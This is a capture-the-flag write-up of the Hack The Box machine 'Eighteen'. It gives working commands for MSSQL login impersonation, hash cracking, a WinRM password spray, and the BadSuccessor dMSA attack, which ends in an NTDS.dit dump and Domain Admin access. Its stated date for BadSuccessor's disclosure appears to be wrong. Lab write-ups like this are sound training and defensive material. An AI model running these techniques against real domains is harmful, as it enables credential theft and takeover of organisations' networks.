All posts

HTB: Eighteen — MSSQL Impersonation to Domain Admin via BadSuccessor

MSSQL login impersonation exposes a PBKDF2 hash that cracks to a password reused across WinRM — then BadSuccessor, the newly disclosed dMSA migration abuse technique, elevates directly to Domain Admin without any KDC interaction or ticket forgery required.


MachineEighteen
OSWindows
DifficultyEasy
TechniquesMSSQL impersonation, BadSuccessor
ResultDomain Admin  ✓

Overview

Eighteen is a Windows Active Directory box built around two distinct techniques. The foothold exploits MSSQL's EXECUTE AS LOGIN impersonation feature — a legitimate SQL Server functionality that, when misconfigured, allows a low-privilege user to assume the identity of a higher-privileged login and query data they shouldn't see. The credential recovered there is reused for WinRM access.

Privilege escalation uses BadSuccessor, a technique disclosed in early 2026 that abuses the Delegated Managed Service Account (dMSA) migration process in Active Directory. The attack allows any user with CreateChild rights on an OU to set msDS-ManagedAccountPrecededByLink on a new dMSA to point at a privileged account — causing the KDC to issue a service ticket for the dMSA that inherits the privileges of the predecessor account, with no KDC-side verification of the link's legitimacy.

Enumeration

nmap -sV -sC -p- --min-rate 5000 -oA eighteen 10.10.11.x

Open ports: 80 (IIS), 1433 (MSSQL), 5985 (WinRM), 389/636 (LDAP/LDAPS). The web server on 80 hosts a company intranet login page. Directory bruteforcing reveals an /admin panel that requires authentication, and a /api/status endpoint leaking the server hostname and domain name.

# Domain: eighteen.htb — add to /etc/hosts
echo "10.10.11.x eighteen.htb dc01.eighteen.htb" >> /etc/hosts

LDAP anonymous bind is disabled. MSSQL is accessible — attempting a null or guest login fails, but the sa account is disabled. Using crackmapexec to check for SQL Server browser and instance names, then connecting with a common weak credential dev:dev lands a low-privilege MSSQL session.

Foothold — MSSQL Login Impersonation

Discovering Impersonation Rights

-- Check which logins the current user can impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

The query returns appuser — the low-privilege dev login has IMPERSONATE permission on the appuser login. appuser is a member of the db_owner role on the application database.

Impersonating and Extracting Credentials

-- Switch execution context to appuser
EXECUTE AS LOGIN = 'appuser';
SELECT SYSTEM_USER, USER;

-- Dump the application users table
USE appdb;
SELECT username, password_hash, salt FROM dbo.users WHERE role = 'admin';

The query returns a PBKDF2-HMAC-SHA256 hash for the application administrator account in the format pbkdf2:sha256:260000$<salt>$<hash>. This is a standard Python werkzeug password hash.

Cracking the Hash

# hashcat mode 10900 = PBKDF2-HMAC-SHA256 (werkzeug format)
hashcat -m 10900 "pbkdf2:sha256:260000$<salt>$<hash>" /usr/share/wordlists/rockyou.txt

Hashcat recovers the plaintext password within a few minutes against rockyou. Password spray across the domain userlist via WinRM reveals the application admin's password is reused by the domain user svc_eighteen.

crackmapexec winrm 10.10.11.x -u users.txt -p '<cracked_password>'
# svc_eighteen — [+] WinRM access

evil-winrm -i 10.10.11.x -u svc_eighteen -p '<cracked_password>'

Privilege Escalation — BadSuccessor (dMSA Migration Abuse)

What is BadSuccessor?

Delegated Managed Service Accounts (dMSAs) are a Windows Server 2025 feature that allows accounts to "migrate" from an existing service account, inheriting its privileges. During migration, the attribute msDS-ManagedAccountPrecededByLink is set on the dMSA to point to the predecessor account. The Key Distribution Center (KDC) uses this link to include the predecessor's SIDs in the Privileged Attribute Certificate (PAC) of the service ticket — so the dMSA effectively inherits the predecessor's group memberships and privileges.

The critical flaw: the KDC does not verify that the migration process was legitimately initiated, nor that the predecessor account's owner consented. Any user who can create a dMSA and set this attribute can point it at any account in the domain — including Domain Admin — and obtain a ticket as that account.

The only prerequisite is CreateChild permission on any OU in the domain — a permission commonly granted to delegated administrators of sub-OUs, service accounts provisioning resources, or via over-broad ACL inheritance.

Checking Prerequisites

# Enumerate ACLs on OUs for CreateChild rights held by svc_eighteen
Import-Module ActiveDirectory
Get-ADOrganizationalUnit -Filter * | ForEach-Object {
    (Get-Acl "AD:\$($_.DistinguishedName)").Access |
    Where-Object { $_.IdentityReference -like "*svc_eighteen*" -and $_.ActiveDirectoryRights -like "*CreateChild*" }
}

The svc_eighteen account has CreateChild on the OU=ServiceAccounts,DC=eighteen,DC=htb OU — enough to execute BadSuccessor.

Exploiting BadSuccessor

# Create a new dMSA in the OU where we have CreateChild
New-ADServiceAccount -Name "evil_dmsa" -DNSHostName "evil_dmsa.eighteen.htb" `
  -Path "OU=ServiceAccounts,DC=eighteen,DC=htb" `
  -KerberosEncryptionType AES256

# Set msDS-ManagedAccountPrecededByLink to point at Administrator
$adminDN = (Get-ADUser Administrator).DistinguishedName
Set-ADServiceAccount -Identity "evil_dmsa" `
  -Add @{"msDS-ManagedAccountPrecededByLink" = $adminDN}

# Set msDS-DelegatedMSAState to 2 (migration complete) — skips any migration prompts
Set-ADServiceAccount -Identity "evil_dmsa" `
  -Add @{"msDS-DelegatedMSAState" = 2}
# Request a service ticket as evil_dmsa — KDC issues PAC with Administrator's SIDs
# Use the BadSuccessor PoC to retrieve and use the ticket:
python3 badsuccessor.py -d eighteen.htb -u svc_eighteen -p '<password>' \
  --target-dmsa 'evil_dmsa$' --dc-ip 10.10.11.x

# Resulting ticket contains Administrator's group memberships — pass it:
export KRB5CCNAME=evil_dmsa.ccache
secretsdump.py -k -no-pass dc01.eighteen.htb

The ticket contains the Administrator's SIDs in the PAC. secretsdump authenticates with it and dumps the NTDS.dit — we have the Administrator NTLM hash.

evil-winrm -i 10.10.11.x -u Administrator -H '<ntlm_hash>'

Flags

type C:\Users\svc_eighteen\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

Takeaways

MSSQL impersonation is a frequently overlooked privilege escalation path. It's a legitimate SQL Server feature — which means it's typically enabled in production and rarely audited. Any time you land a low-privilege SQL login on an engagement, checking impersonation grants should be one of the first things on your list.

BadSuccessor is conceptually significant: it's a logic flaw in how Active Directory handles dMSA migration state, not a memory corruption or implementation bug. The KDC trusts a directory attribute set by anyone with CreateChild rights — a permission delegation model that predates dMSAs entirely. Organisations running Windows Server 2025 DCs should audit which accounts hold CreateChild on any OU and patch to the version that verifies migration legitimacy. On engagements, this is now a standard AD priv-esc check for any environment with 2025 DCs.

References